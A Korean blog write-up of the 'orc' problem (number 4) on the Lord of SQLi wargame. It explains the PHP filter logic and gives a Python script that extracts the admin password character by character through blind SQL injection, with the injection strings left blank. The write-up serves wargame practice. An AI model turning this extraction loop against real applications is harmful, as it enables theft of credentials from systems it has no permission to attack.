Youngjin's Log

[los] 4번 문제 orc 본문

Web/Wargame&CTF

[los] 4번 문제 orc

Youngjin. 2018. 7. 10. 14:04

4번 문제 - orc



php 코드 분석

preg_match함수로 테이블에 직접적인 접근을 금지하고 있습니다.

sql 쿼리문에 id는 admin이라고 명시되어 있으며, pw부분을 get방식으로 입력 받고 있습니다.

쿼리문이 정상적으로 DB에서 동작하면 테이블 내에 id(admin이 아닐수도 있습니다.)를 불러오고 id값이 있을 경우 Hello admin을 찍어줍니다.

그리고 입력 받았던 pw값을 addslashes함수를 이용하여 싱글쿼터, 더블쿼터, 역슬래시, 널값 앞에 역슬래시(\)을 추가하여 문자열을 반환해 줍니다.

(ex. 'admin' -> \'admin\')

반환 받은 pw를 다시 쿼리에 넣고 테이블 내에서 admin의 pw를 뽑은 다음, 뽑은 pw와 addslashes에서 반환된 pw을 비교하여 같을 경우 클리어 됩니다.


TIP

pw을 기본 패턴으로 무력화 시킨다고하여도 addslashes함수가 있으므로 다음 쿼리에서 막히게 됩니다.

그리고 행여나 쿼리문이 동작했다하더라도 admin의 pw출력값과 입력pw값을 비교하기 때문에 일반 패턴으로는 클리어 할 수 없습니다.

그렇다면 무슨 문제 일까요?

문제에서 무엇을 원하는 건지 코드를 통해서 파악하시면 의외로 금방 접근할 수 있습니다.

결국에는 admin의 정확한 pw값을 입력해야한다는 문제입니다.

admin의 pw값은 Blind SQL injection을 충분히 이해하시고 실습하신 다음, 이용하셔서 pw값을 뽑아내어 보시면 될 것 같습니다.

답은 다양한 형태로 올 수 있습니다.


코딩은 동작해서 원하는 값을 얻을 수 있게만 되어 있는거라 다른 분들처럼 최적화된 코드가 아닐 수도 있습니다. 그저 입력하는 노동을 조금 덜하기 위해서 빠르게 작성해본 것입니다.

import requests


URL = 'https://los.eagle-jump.org/'
cookies={'Cookie':''}

ch = ''


result = ''
result2 = ''
num = 1

guest = 'Hello guest'
admin = 'Hello admin'
clear = 'Clear'

#반복할 값 입력

strurl1 = ""
strurl2 = ""
strurl3 = ""
'''
strurl1 = input('반복할 첫번째 값:')
strurl2 = input('반복할 두번째 값:')
strurl3 = input('반복할 세번째 값:')
'''

for i in range(1, 11):
if num==0:
break
for j in range(0,128):
num = j
req = requests.get(URL+ch+strurl1+str(i)+strurl2+str(j)+strurl3, headers=cookies)

response = req.text
print(strurl1+str(i)+strurl2+str(j)+strurl3)

# 문자열 비교해서 출력하기
if clear in response:
print('good')
elif admin in response:
if num == 0:
print('NULL값')
break
print('admin')
result = result+'\n'+str(i)+'번째 암호는'+' = '+'ascii 값: '+str(j)
result2 = result2+chr(j)
break
elif guest in response:
print('guest')
#결과 출력
print(result)
print('답은 :'+result2)


'Web > Wargame&CTF' 카테고리의 다른 글

[los] 6번 문제 darkelf  (0) 2018.07.11
[los] 5번 문제 wolfman  (0) 2018.07.11
[los] 3번 문제 goblin  (0) 2018.07.10
[los] 2번 문제 cobolt  (0) 2018.07.10
[los] 1번 문제 gremlin  (0) 2018.07.10
Comments